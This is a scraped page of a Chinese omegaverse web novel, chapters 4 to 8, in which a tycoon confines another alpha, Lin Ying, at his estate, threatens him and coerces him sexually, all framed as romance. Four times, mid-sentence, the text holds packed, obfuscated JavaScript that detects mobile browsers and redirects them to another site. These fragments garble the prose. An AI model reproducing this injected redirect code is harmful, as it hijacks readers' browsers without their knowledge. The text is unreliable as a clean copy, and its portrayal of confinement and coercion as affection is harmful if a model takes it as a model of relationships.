他确实这么干过,并且觉得很有乐趣,认为其他阿尔法没他厉害,就活该被他压制。他头一回被其他阿尔法这么对待,气得身体都在发抖。 他是用过同样的招数,但那是过去的事,再说了和现在有什么关系?总之这让他越发气愤,气愤谢相连的无耻,用这么下三滥的招数。 房间里的阿尔法信息素越来越浓烈,林迎这才想起用自己的信息素去对抗,只可惜他信息素刚放出来就被压着。他不服气,又试着释放更多,他的对抗可能来的晚了些,谢相连的信息素铺天盖地,压得他喘不过气,眼睛一黑,张嘴就想吐。 他想不明白为什么会抵抗不了,他不是顶级阿尔法吗?就算谢相连也同样是,总不该差距那么大,一定是因为他反应太慢,现在才没办法释放更多的信息素。 他这边还在不服气谢相连的无耻,谢相连已经走到了他面前,大手按住他下滑的身体,掐着他的腰把他扶起来,似笑非笑看着他。 林迎咬牙:“你不可能把我带走,我妈不会让你这么做。” 他好歹也是林家的独苗,他没告诉家里人他和谢相连的事,不过是不想丢了自己的面子,但现在在宴会上,想光明正大把他这个阿尔法带走,其他人不可能没看见,势必会惊动他爸妈。 谢相连垂眸道:“阿姨知道我来找你。” 林迎皱眉:“不可能,我妈不可能让你带我走。” “那可真巧了,阿姨说让你跟我学习学习,不要整天跟那些不成器的人混。” 林迎愣住,这话倒可能是他妈说的,他妈虽然嘴上说着不奢求他有多厉害,可到底是自己的孩子,怎么可能不指望他争气一些。那也不能就这么把他卖了啊,一定是谢相连欺骗他老妈,没告诉他老妈谢相连他真正想做的是什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294889|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢相连跟逗小猫似的捏了下他鼻尖问:“是你自己走,还是我抱你走?” 从这里到酒店门口,一路上人不少,如果他被抱着走,传出去他还混不混了。他强撑着起来想自己走,走两步就腿一软。 谢相连伸手,林迎虽然不乐意,但还是握住他的手,任由他将自己扶出酒店。 一路上他都低着脑袋,假装自己喝醉了才被人扶着。等上了车,那些信息素的味道也渐渐淡去。 公共场合不能随便释放信息素,从房间出来后谢相连就收了信息素,现在到车里,只剩下衣服上沾染的淡淡信息素,他无力的四肢也逐渐恢复知觉。 活动了一下手腕,林迎看向驾驶座上的谢相连,鼎鼎大名的谢总裁现在坐在驾驶座上给他开车,或许他还是头一个享受这种待遇的人。 车开出去,林迎默不作声地把车窗打开,外面的风灌进来,很快就把信息素带走,那股子笼罩着他、让他喘不过气的气息离开后,他总算松了口气,扭头对谢相连道:“开慢点。” 谢相连瞥了他一眼,没说话,倒是真的开慢了一些。眼看着离开了酒店,路过商业区往高端居民区去,他心中有不好的预感:“你要带我去哪?” “回家。”谢相连言简意赅说。 “我要回我家。”林迎强调。 “回你家也行。”谢相连拐了个弯。 林迎看着确实是往他的小区去的路上,他眯着眼问:“你怎么知道我家在哪?” “你觉得关于你的事,有什么是我不知道的?” 林迎不说话了,只要想查,以谢相连的身份有什么查不到,他一言难尽道:“你这是犯法的。” 谢相连笑了,意味深长说:“你干过的那些事,市里有几个人不知道?” 林迎:“……” 他有那么出名吗? 出不出名的,林迎现在不在乎,可他知道绝对不能让谢相连跟着他到家里去,把他带回家和引狼入室有什么区别? “不就是刷爆你的卡,我还你钱还不行?”林迎是真的不想和他再有来往,干脆和他撇清关系,“我刷了多少都全部还给你。” “不用,”林迎以为他打算放过自己,却听谢相连接着说,“就当送你的见面礼。” 花上亿来当见面礼,可真是大方。 林迎心里吐槽,坐直了起来,趁着等红绿灯猛地想去开车门,可推了推却发现早就被锁死了。他转身,看向托着下巴、游刃有余看好戏一样看着自己的谢相连。 林迎不乐意了,把安全带解开,自暴自弃说:“你有种就这样把车开走。” 谢相连看了他一眼,把车停到路边,自己下了车。 林迎眼睛一亮,想下车,却没想到谢相连又把车锁上了,连带着车窗也锁死。 “?” 在他的目送下,谢相连走进了一家超市,没一会儿就回来,站在副驾驶座这边敲了敲窗户。 林迎按了一下调窗户的按钮,发现窗户这下可以降下来了。 谢相连把一个袋子丢进来,林迎伸手接住,低头下意识打开看,是一大袋小孩嗝屁套。 林迎:…… 5. 第 5 章 林迎幽幽看着回到驾驶座上继续开车的人,好像刚刚专门下去买东西的人不是他一样,他看了他片刻,问:“你家是在小区还是小洋楼?” 他这话题转得过于生硬,谢相连虽觉奇怪,但还是回答:“都有,你想去哪个?”能把人带回去,是去小区还是小洋楼对他来说区别不大。 “去小洋楼。”林迎说。 谢相连若有所思道:“你在打什么鬼主意?” “才没有,我只是不喜欢去小区。你自己的信息素到处乱飘,到时候影响到别人怎么办?” 林迎话说得好像很为周围邻居着想一样,谢相连偏偏知道他不是这样的人,那肯定是想干什么坏事。不过现在一切都在他掌控中,他倒是不介意顺着林迎带他去小洋楼。 车子一路开向市郊,路上车少,开得也快了一些。周围原本零星还有一些建筑物,越往市郊开去,建筑物越少,到最后每隔很远的距离才有一个建筑物。 谢相连的小洋楼——说是小洋楼,不如说是一个庄园,从庄园大门进去,开车还有一段距离才到房子。 林迎下了车,四处张望。谢相连靠在车身上看他,等他打量够了,才抬抬下巴示意他进去。走到门口,谢相连拉着林迎,把他的人脸识别也录进了门锁里。 被拉着录完,林迎一脸古怪看他:“你就不怕我来你家把你东西偷走?” “你想拿就拿,都送你。”谢相连一贯大方。 林迎:“……” 林迎搞不懂谢相连究竟想从他身上得到什么,被他推搡着进了屋里。他瞪着眼睛看着充满艺术气息的屋子,进去便能看到通往二楼的楼梯,楼梯中间挂着一幅名画。如果是在其他人家里,也许是赝品,但在谢相连家里看到,他不由得怀疑那幅画是真迹。 房子的风格也和欧洲那边的庄园比较接近,地毯、吊灯、壁炉之类的都有。林迎家里虽然不差钱,可也不会大费周章去搞这种风格,一来装修是个大问题,二来后续也比较难打理。 “喜欢就写到你名下。”谢相连的声音从一旁传来,他说得云淡风轻。 林迎被他噎得说不出话:“你到底想做什么?” 谢相连笑了:“我都把你带回家了,还问这种问题?” 林迎想起再次见面时谢相连说的易感期快到了,他警觉道:“你休想用钱收买我。” 虽然这一切确实很贵重,他也很心动,可阿尔法有什么理由出卖自己的身体? 谢相连看穿他在想什么,淡声道:“东西拿不拿,你都是我的人。” “你能不能要点脸?”林迎张嘴就骂。 谢相连伸手伸进他嘴里,夹住他舌头。林迎嫌弃地咬他手指,咬了一下,发现对方又故伎重施去摸他的牙齿,他只能躲着捂着嘴骂人:“你变态啊?” “我不想从你嘴里听到脏话。” “你放我走,我保证你永远不会听到我说脏话。”林迎说。 谢相连道:“那不行。” 他说完低头看了眼表:“进房间去。” 林迎身体紧绷:“我不要!” “你一个房间,行吧?”谢相连倒是没逼他。 林迎恍惚着找了一个房间进去,房间收拾得干净,很明显是客房,浴衣什么的也应有尽有。可他不敢去洗,怕谢相连这个疯子在他洗到一半的时候闯进浴室。他现在看到谢相连就犯恶心,那种生理和心理上的双重恶心。 林迎没等多久,就等到谢相连过来找他,他警惕看着他。 谢相连穿戴整齐,看着人模人样的,那张他恨归恨、但没法否认的帅脸,在夜晚莫名多了几分柔和。只是谢相连一开口,林迎就觉得这张脸真是白长了。 谢相连看见他就冲他招手:“过来,我给你做个临时标记。” 林迎炸毛了,腾地一下站起来:“我是阿尔法,怎么做临时标记?你要我命是不是?” 林迎虽然不是很了解阿尔法、贝塔或者欧米伽之间的事,但好歹也是上过生理课的,一些基础知识还是知道的。阿尔法和阿尔法之间很难在一起,像是天性一般,彼此的信息素都会让对方排斥。 阿尔法之间的压制,也大多是利用这种排斥,令弱的一方感到生理和心理上的难受。标记这种事落到阿尔法和阿尔法之间,无异于要另一方的命,轻则痛苦一段时间,重则可能瘫痪。 “就一点。”谢相连哄着说。 林迎眯着眼看他:“一点也不行!你的信息素都难闻得要死。” “你确定是难闻?”谢相连问。 林迎反问:“难道我还能觉得你信息素好闻?” 谢相连嗤笑:“第一次见面你说什么来着?” 林迎不解,第一次见面…… 他想了想,当时谢相连因为欧米伽的信息素临时进入易感期,那时候也肆意释放着信息素,但信息素不受控,在空中便稀释许多,落到他身上更是若有若无。那时他说他也是阿尔法,不怕被影响。 林迎无法反驳,他承认说谢相连的信息素难闻是张口就来,可他一个阿尔法有什么道理觉得另一个阿尔法的信息素好闻? 一个小时前谢相连还对他释放信息素,他现在身体还记着那股子难受劲。别说是让谢相连标记,就是谢相连再冲他释放信息素,他都可能拼了命和他打一架。 血腥味总比他的信息素好闻得多。 谢相连不耐烦道:“你都跟我回来了,还在这里装什么?” 林迎比他还大声:“是我想跟你回来吗?是你逼着我跟你回来!” 谢相连反问:“有区别?” 林迎不想和他说话,气得脸色通红:“你别想靠近我!” 谢相连无奈叹气:“看来你很喜欢用强的。” 林迎发现他真的搞不懂谢相连的脑回路,折辱他难道很好玩吗? “你想要什么样的阿尔法没有,偏偏就选中了我?” “我对其他阿尔法不感兴趣。”谢相连回答。 “你这话说的好像你喜欢我一样。”林迎嘲弄道。 谢相连想了想说:“也许呢。” 他从来没有想过带任何人回家,林迎是一个例外。哪怕林迎把他的卡刷爆,他也不生气,他气的是林迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294890|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打一声招呼就走,害他丢了面子。就连林迎喜欢这庄园,他也愿意拱手相让。他唯一的条件,只是林迎待在他身边就够了。他没喜欢过别人,也没想过自己会喜欢上谁,更别说是阿尔法了。或许,这就是林迎说的喜欢。 林迎一个字都不相信,故意呛他:“哪里有人会这么对喜欢的人?别假惺惺的把自己说得多深情一样!” 谢相连问道:“那你想怎么样?” 林迎说:“有什么明天再说。” 林迎也不知道该怎么解决,谢相连是不会轻易放他离开的,他已经体会到谢相连有多么疯了。既然这样,起码今晚让他平安无事度过。谢相连的信息素让他现在还有些难受,连带着精神也疲惫,只想着好好睡一觉。 “我说我易感期要到了。”谢相连强调。 “要到了就证明还没有到。”林迎才不惯着他。 “行,你老实待着,今晚放你一马。”谢相连倒是意外的好说话,说完还真的离开了房间。 他一离开,林迎马上上前把房间门锁上。转眼想想,这是谢相连的地盘,他有钥匙想进来是分分钟的事。这个地方不能久留,哪怕现在他真的困得很。 林迎坐在床上听着外面的动静,他选的这间客房恰好在谢相连主卧旁边,房间和房间之间的隔音很好,他听不到隔壁的声音,这正好合他的意。 他悄悄出门,看了几次谢相连房间门下面的缝,等到里面的灯熄灭,过了十几分钟,他准备偷偷溜走。刚走到楼梯门口,想起这地方前不着村后不着店,他要走回市里,腿得给他走废。 犹豫了一下,他试着去开谢相连房间的门,谢相连房间门没关,一拧就打开了。屋里黑漆漆的,林迎适应了一会儿,才找到床的方向看过去,却和一双眼睛对视上,他吓得立在原地。 谢相连把灯打开,问:“过来做什么?” 林迎咽了咽口水:“我晚饭没吃饱,想找点吃的。” “找到我房间来?”谢相连故意揶揄。 林迎硬着头皮说:“我来和你说一声。” 谢相连走到他身边:“不会做饭?” 林迎默默点头。 谢相连说:“老实待着。”说着他就下了一楼。 林迎站了好一会儿,确定他已经到了一楼,连忙进到房间里面,迅速从他的外套里找到了车钥匙,把车钥匙塞好,才若无其事地回到自己房间。 谢相连说做饭,真的去给他煮了个面,端到林迎面前。林迎吃了几口就不想吃了,他一抬眼看到面前的人,刚刚吃进去的两口面又让他开始反胃。他放下筷子,谢相连看了一眼,默不作声地拿过碗,当着林迎的面把剩下的面吃完,端着碗离开。 林迎走到门口,准备看他什么时候去睡觉,却见谢相连折回来,把他的房门带上。他在屋里只听“咔嚓”一声,他怀疑上前拧了拧门把手,怎么也没办法把门拧开。 外面谢相连的声音传来:“乖乖睡觉。” 林迎怒了:“你觉得我会逃跑?” 谢相连说:“今晚放你一马,但如果你找弄,我会满足你。” 6. 第 6 章 林迎脑子嗡嗡响,门外的人已经离开,他恼羞成怒,把自己摔在床上。谢相连这家伙就会想着威胁他,而且是威胁那方面的。偏偏这是谢相连做得出来的事,林迎不想在这里面起冲突。 翻了个身压到他藏在兜里的钥匙,车钥匙他已经拿到了。谢相连带着他回来之后也没有想着把车停到车库里去,就停在了门口,他能到一楼就能开车离开。虽然会把人吵醒,可他都要跑了,吵醒就要吵醒。 林迎坐起来看向阳台,阳台是落地玻璃,他推开玻璃门走了出去,仔细听隔壁。隔壁没有声音也没有光亮,为了保险起见,林迎回到屋里等了一个小时才再次到阳台确保没有动静。 他趴在栏杆上,看了一眼下面,四周没有光亮,连月亮也藏了起来,他看不清下面是土地还是有灌木丛。不过不管是土地还是灌木丛,从二楼跳下去顶多一点擦伤。 他翻过栏杆直接往后跳去,脚没有踩到灌木丛上,更没有踩在土地上,软软的东西,他踩上去没站稳,直接后仰摔倒在地。他摸了摸身下好像是一个垫子,他迷茫看着从云后面出来的月亮,还有一张鬼似的脸,他尖叫一声猛地转身看向不知道什么时候站在他身后的谢相连,支支吾吾道:“你……你在这里做什么?不是睡觉了吗?” 谢相连面无表情道:“我和你说过什么?” 林迎不服气说:“我又不是你手下的人,我为什么要听你的?” 从来就没有人能直接命令他做什么,就连他爸妈也大多时候是和他商量着来。像谢相连这样直接命令他做什么的,他还是头一次遇到。 谢相连气笑了,他本来没想着逼林迎太紧,今晚才放过他,也给过他机会让他老实待着,不要到处乱跑,可他不仅没有将他的话放在心上,反而将他的话当做空气,甚至还和他对着干。 他伸手拉住林迎的手,林迎一把甩开,转身爬起来就跑。谢相连一把拦住他的腰,把他扛起来,任由他怎么捶打都没有松手。 “你要做什么?”林迎大喊。 谢相连抱着他从这里门进去说:“要做什么,不是已经提前告诉你了?” 确实是告诉他了,如果他不安分,他今晚不会放过他。 林迎汗毛直立,大喊大叫:“是你先吓我,我才想要跑的,你要是没吓我,我怎么会想着跑。” 他各种谴责谢相连的不道德,谢相连一句话都没回。眼见着已经上了二楼,谢相连拧下门把手,扛着他进去。 林迎连忙抓住门把手示弱:“下次我不这样了还不行吗?” 这句话从林迎嘴里说出来要多别扭有多别扭,从来都只有别人讨好他的份,什么时候轮得到他向别人示弱。可示弱和被他弄一顿,他倒是宁愿示弱一句。 谢相连果然停了下来,林迎觉得有机会,又小声嘀咕说:“我都这样了,你多少也得给点面子。” 谢相连知道林迎是什么样的人,也知道能从他嘴里得到一句示弱有多么不容易。可他向来秉持着做错就该罚,不罚不会长记性。像林迎这样的,如果不给他点苦头吃,他只会越发得寸进尺,日后还不知道会怎么作妖。 林迎被扛着,肚子被谢相连的肩头硌得不舒服。他想借力把自己撑起来,又不敢放开门把手,怕一放开谢相连就把他甩床上去。他问了一句:“我都这样了还不行吗?” 他已经开始不耐烦了。 谢相连闻言腾出一只手将他抓着门的手指掰开,直接把人丢到床上,欺身而上:“没两句又想造反了?” 林迎心虚,又理直气壮说:“我就不乐意这样,你别想着标记我,你敢标记我,我一头撞死在这里。” 他说的咬牙切齿,也是真的有这个打算。比起再一次被另一个阿尔法压,他宁愿直接当场暴毙。 “你分明也很享受。”谢相连道。 林迎愣住,反驳道:“我什么时候享受了?” 他强调说:“阿尔法标记阿尔法真的会死,你真的想闹出人命?后半辈子都在监狱里度过?” 谢相连自然也知道阿尔法标记阿尔法会有多么严重的排斥反应,可他就是想这么做。他盯着林迎盯了许久,最后妥协说:“今晚不标记你。” 林迎眼睛一亮:“那我回去睡了,我保证不会再乱跑。” 他说着准备起身,谢相连却把他按回去,手从他的肩头滑到他的脖子上:“就想这么蒙混过关?” 林迎忐忑问:“你还想做什么?” 谢相连说:“我只是说不标记你,没和你保证不做其他事。” 一句话把林迎点的炸毛起来,对着谢相连就是拳打脚踢。好歹他也是一个顶级阿尔法,虽然体格上没有谢相连强壮,但多少能让谢相连有点不舒服。 那天晚上是他一时不察才让谢相连得手,今晚他发誓不把谢相连打到明天没法见人,他绝不会让他得手。林迎就像一头突然发疯的老虎,逮着人就抓,手脚并用。打不到人,眼前有什么就咬住什么。 谢相连被他咬的胳膊上、手上都是牙印,深的地方甚至直接破皮流血,是真的对着他下死手了。 林迎是下死手的没错,只是他下死手也没能让谢相连打消念头。他生气吼道:“你这人和□□有什么区别?你就是个□□犯!” 谢相连一顿,又被林迎打了一拳,但握住林迎另一只手,将他扭转过去,反身将他压在床上,不解道:“明明我们两人很契合。” 林迎不承认:“如果你的契合是只让我生气,让我受伤,那确实很契合。” 谢相连沉默片刻说:“你真不愿意?” 林迎哈哈笑了两声:“你哪里看得出来我乐意?” 谢相连表情无辜:“不是情趣?” 林迎笑不出来了:“这他妈哪里是情趣?” 身后的人没说话,林迎不安琢磨着哪句话把谢相连惹怒,又会让他做出什么样的事来?气息凝聚,谢相连松开他说:“你想和我慢慢培养感情?” 林迎转身,手撑着床,嘴角抽了抽:“我说了很多次,我对你没有兴趣。” “我对你有兴趣。”谢相连说。 林迎闭了下眼深吸口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294891|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道谢相连是没打算和他好好说话。他说什么谢相连都有他自己的一套说辞,简单来说,就是他看上他了,他就必须得是他的人。 真霸道,可惜他不喜欢,何况他也不相信谢相连会喜欢他。 “只要你不闹,我答应你可以慢慢来,”谢相连说着话风又一转,“可今晚我也说过让你乖乖在房间睡觉。” 林迎身体紧绷,看着谢相连。 谢相连先一步按住他的手腕:“你不想标记我就不标记,你不想做今晚我也不做。” 他的让步已经很大了,从来没有一个人能让他做一而再再而三的让步,只是惩罚是不能少的。他低头咬住林迎的嘴,林迎也防着,张嘴咬住他的嘴唇,血腥味在两人口中蔓延。林迎还挣扎了一下,发现谢相连松开了他的手,刚想推开人,谢相连的手又伸过来,带着他的手放在自己身上说:“自己来。” 林迎身体僵硬,视线下移又移上来,看着谢相连的脸,起码这张脸还能看得进去,他咬着牙生硬点头。 林迎第二天醒来只觉得自己的手快断了,身侧还睡着一脸餍足的谢相连。他扯了被子,把被子从谢相连身上扯开裹到自己身上,把自己卷成个卷。 谢相连被他的动静弄醒,看了他一眼,起身穿衣服,不忘叮嘱他:“今天在家里待着。” 林迎说:“我有事。” 谢相连抽空瞥了他一眼:“我陪你去。” 林迎不说话了。 谢相连又说:“游戏房里的游戏你可以随意玩。” 林迎嫌弃说:“你的游戏房还能有我家里的游戏多?” 他想玩的游戏他都买了,除了一些绝版的,他都买来了。 “你去看就知道了。”谢相连没多说,收拾完自己就离开。 林迎抓起丢在地上的衣服掏了掏,都没有发现车钥匙。他下楼在昨天他跳楼的地方找到了摔在地上的手机,昨晚本想着自己可以偷偷离开,就没想着求助。 现在谢相连是想把他关在这里,车钥匙都没留给他,就算庄园里还有其他车,他也开不了。他拿出手机准备打电话叫人来接,看了一眼突然扭头回到卧室,拿着手机把卧室拍了一遍,然后激情编辑爆料给狗仔。 没多久,一条关于谢相连的热搜就腾空而出。 看着热搜讨论的人越来越多,林迎心满意足,他就不信他都这么爆料谢相连是变态喜欢同性,谢相连还会这么明目张胆的缠着他,除非他是真的不想要公司了。 谢相连对他没有威胁,他也不着急走了,去找谢相连说的游戏房,一进去直接愣在原地。游戏房里什么设备都有,各种游戏设备堆满了一面墙,另一面墙也堆着各种游戏卡。他恍恍惚惚去翻了一下,翻到他没有买到的绝版新游戏,纠结两秒,插了卡立马就玩了起来。 林迎玩了一天,等到谢相连把他的耳机摘下来,他才回神看着面前的人,想起白天自己做的事,冲他挑衅一笑:“我今天送你的礼物收到了吗?” 谢相连看着他,低头在他唇上落下一吻,笑道:“我收到了。” 7. 第 7 章 林迎震惊得都忘了谢相连亲他,迷茫不解外加几分不可思议。他做的事明明该惹得谢相连生气,不敢再对他做什么才对,可惜谢相连非但没有生气,反而好像还真的很感激他。 他忐忑问:“你还好吗?” 不会是被他气疯了吧? 谢相连脸上依旧挂着笑,重复说:“你的礼物我很喜欢。” 林迎开始不自在起来,奇怪问:“你不问问我做的什么?” “不用问我也知道是你做的。” 这么说下来应该是没有误会,没有把别人做的好事误会成是他做的坏事。 “我也给你带了礼物,你收拾一下出来。” 谢相连出去后,林迎拿出手机上网搜他早晨让营销号发出的那一条热搜,热搜现在已经成了热搜第一,而且讨论度还在持续上升,只不过热搜里骂谢相连的人并不多,大多都是在祝福谢相连。 “虽然AA恋很少,可现在是开放的时代,他有权利追求自己的自由,能这么大方的承认自己喜欢的是阿尔法很了不起了。” “怎么样都比那些明明喜欢阿尔法,却故意和欧米伽结婚的阿尔法强。” 他刷了一下,找到另一条回应,是谢相连认证的号回的话:“热搜说的没错,我确实有个爱人,他是阿尔法。” 林迎瞪着眼,什么叫做他有个爱人,还是阿尔法,他可从来没有说过要和他在一起。 其他人也没有去考证,就一股脑的祝福他,甚至有以谢相连为榜样,不少AA恋或者OO恋都大胆出来说自己的另一半和自己一样。 本来诋毁谢相连的一条热搜逐渐演变成祝福谢相连,成了为谢氏集团招揽生意的招牌。 虽然那些商业集团不会因为谢相连是AA恋,就直接相信他的集团,可能这么大方承认,也属实让不少集团都有所好感,也有一些股民觉得有谢相连这么一个三观正的当家人,他们买了绝对不会亏。 谢氏集团下的商品也无一例外,突然爆火,一些日用品甚至被买断了货。 林迎无言扶额,他怎么坏心办好事?怪不得谢相连一回来就笑盈盈的,感情他是真的为他做了嫁衣。他开始忐忑起来,既然他想让谢相连因为惧怕股份下跌而不敢对他下手,现在这样恐怕起到了反效果。 谢相连倒了两杯水,心情很美妙。他看上林迎是个意外,从未想过让林迎帮他做什么,他唯一要求的是林迎待在他身边就够了,林迎想要什么,只要他能给他都愿意给。林迎这么帮他,他倒是出乎意外,没想到林迎脑子还挺灵,轻而易举就帮了他一个大忙。 林迎磨磨蹭蹭许久都没下来,谢相连上去,林迎“婉拒”了他的抱抱,不情不愿跟在他身后下来。 林迎看着他坐下,依旧站在一旁,随时准备要逃跑。 谢相连好笑翻开面前的一个文件说:“你看看。” 林迎眯着眼瞥了一眼,瞥到一些关键字眼,他不可思议拿起来仔细一看,纸上写着谢相连将现在这座庄园送给他,赠与协议上面写了没有任何要求。 被人送了这么贵重的东西,应该开心才对。只是林迎一想到谢相连对他的心思,脸色当即就难看起来,送他这庄园是想把他一辈子都囚禁在这里? 他不需要这座牢笼,他就算是睡在天桥底下,也不想被关在这里一辈子。 谢相连没发现林迎的不对劲,拿起桌上的水塞到他手里说:“楼上那些游戏也是你的了。” 林迎皱眉,谢相连好笑说:“放心,现在不要求你做什么。” 昨晚林迎虽然不情不愿,两人也没发生什么,但最后林迎也配合他安抚了他的躁动,今天又给了他那么大一个惊喜,未来很长一段时间,他对林迎都会有好脸色。 林迎把文件甩到谢相连脸上:“我不需要你这些东西。” 谢相连说:“你拿不拿我都不会放你走。” 林迎一把把文件拿回来,气鼓鼓上了二楼,到了楼梯上,他看着楼下的人,警告说:“我困了,别来烦我,我要睡觉。” 谢相连不知道是有事要忙,还是良心发现,给他做了点吃的放在门口,林迎吃完后放回门口。在房间里熬到凌晨两点,谢相连也没来。林迎熬不过瞌睡,最后还是昏昏沉沉睡了过去。 玩了一整天游戏,又吃饱喝足,他睡得很沉,期间感觉到身边有人,他下意识抬手挥了挥,那动静很小,也没折腾他。林迎半睡半醒间听到有人轻声对他说:“睡吧,不弄你。” 莫名的他就又睡了过去。 林迎睡了个整觉,睡到中午十二点才醒来,一醒来发现又到了谢相连的房间,他立马上下检查,浑身没有一点不自在,动了动手,手有点酸,但没什么不适感,应该是昨天玩游戏玩太多了。 不用想也知道是他睡到半夜,谢相连把他抱过来的。林迎收拾了一番,现在只想离开这座庄园,他没有继续留在这里的理由。 下楼的时候又想到谢相连把这个庄园给了他,他回去房间将那文件拿出来犹豫着抱在怀里,竟然这庄园是他的,那他为什么不把谢相连赶走?不让谢相连进来不就行了。管他这庄园之前是不是谢相连的,现在是他的,那他就有绝对的话语权。 谢相连都把他当做玩物看了,他不拿点什么,那可真对不起他受的委屈。 昨天谢相连没对他做什么,于是向来无法无天的他胆子又大了,不着急离开了。 谢相连留了不少吃的给他,他吃完里里外外把庄园逛了个遍,发现有一间储物间里面放满了各种各样的红酒,他对红酒这些不了解,从一串英文里看出一些年份来,听说红酒的年份越久越珍贵,他想找一瓶年份最久的,可看一眼这个看一眼那个,发现总是能找到一瓶年份更久的,索性就随便拿了一瓶。 不是这里面年份最久的,单看生产日期, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294892|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年份已经够久,价值不菲。 谢相连昨天的和气让他浑身不自在,正好他借着这庄园是他的借口,把庄园弄得一团糟,他倒要看看谢相连能容忍他到什么时候。 仔细想想,一定是他前几次和谢相连见面,他看起来太安分,让谢相连以为他是个好欺负的主——实际上,如果他真的是个好欺负的主,谢相连才不会看上他,但防不住林迎自己要这么想。 林迎拿了一瓶酒,拿完又拐回来,又拿了一瓶,回到客厅,拿出酒左泼一下,右扑一下,再往自己嘴里灌两口,没有醒酒,喝起来味道涩涩的,并不好喝,他喝完又吐出来,两瓶酒造得到处都是,等满屋子都是红酒的味道,林迎才作罢。 做完这些才想起谢相连可能晚上才会回来,略一迟疑,打电话给谢相连。他的手机早在第二次见面,谢相连就自作主张把他的号码存进他的手机。 谢相连正在开会,手机放在桌面上,开了静音,亮屏幕亮起的一瞬,他瞥了一眼收回视线,又看了一下,拿起来仔细看来电人,上面显示是林迎打来的电话。 他有些意外林迎会主动打电话给他,看了手机两秒接了电话。 正在等着发言的众人默默的装作不知道,纷纷立马联想他们看到的那热搜,谢相连有个爱人,还是个阿尔法,能让谢相连一改平时的行为,恐怕也只有他那个不知姓名的爱人了。 “喂。”谢相连接了电话,半天也没听到动静,他这边发出声音后,那边才有类似水声想起,还有一些古怪的呼吸声,像是有些喘不过气。 谢相连抿唇挂了电话,对着手下说:“有事我先走了。” 他急匆匆出去,被甩下的众人立马就炸开了锅:“怎么回事?脸色那么难看,难道是出事了?” “应该是平时开会也没见他接电话。” 他们议论纷纷,以为谢相连是紧张,脸色才突然那么难看。 只有将车猛地开出去的谢相连才知道他现在憋得有多难受,林迎是故意的,非得挑他上班的时间勾引他。 车开到庄园要一个多小时,谢相连到的时候出额头已经渗出细密的汗来,他冲进客厅,一眼就捕捉到林迎的身影。 林迎正躺在沙发上,见到他,手拿着红酒抬起来瓶冲他晃了晃,还打了个嗝。他浑身湿漉漉的,身上沾了不少红酒,头发湿漉漉贴在脸上,看着比平时顺和许多。 红色的酒渍浸透了衬衫,勾勒出劲瘦的腰肢。 谢相连上前低头看着他,林迎醉醺醺说:“来喝一口。” 谢相连深吸的口气,林迎又喝了一口,故意说:“你该不会生气了吧?” 林迎在等着谢相连发怒,谢相连是有些发怒,他夺拿过他手中的红酒,往自己口里灌了一口,嘴对着嘴喂到他嘴里,恶狠狠道:“非得这个时候招惹我。” 语气里是想和他算账的意思,只是不是林迎所想的算账。 8. 第 8 章 林迎立马就察觉到谢相连的不对劲,这哪里是要和他吵架,分明是想和他大干一场。他当即就酒醒了,立马推开他。“我身上都是酒。” 想借此让他嫌弃自己,可是谢相连却说:“我知道。” 这样的林迎比平时更带劲,平时的林迎像是动不动就会爆炸的小炸弹,现在的他被酒水打湿,点不起来。就算表现得再怎么凶神恶煞,也只是一个浸湿了的炮弹,怎么样也不会炸。 那若有若无的酒香又勾得他食指大动。谢相连现在只想和他就着这酒香好好亲热亲热。 林迎为了壮胆自己喝了好几口酒,他不喜欢喝酒,也不会喝酒,现在身体软绵绵的,见推不开人,又拿出他准备好的说辞:“这个庄园是我的,你滚出去。” 谢相连一顿,他看着林迎的脸,林迎脸色酡红,被酒浸得有些湿的眼神,带着真情实意的厌恶。谢相连从诱人的酒香中回神,气笑了:“你把自己弄成这样,叫我回来,只是为了赶我走?” 林迎自己一个人在家里怎么玩都没关系,可现在他点了火,却又让他滚。 “戏耍我很好玩?” 谢相连脸都黑了,林迎理直气壮说:“你自己把庄园送给我,那我想让谁留在这就让谁留在这。我这里不欢迎你。” 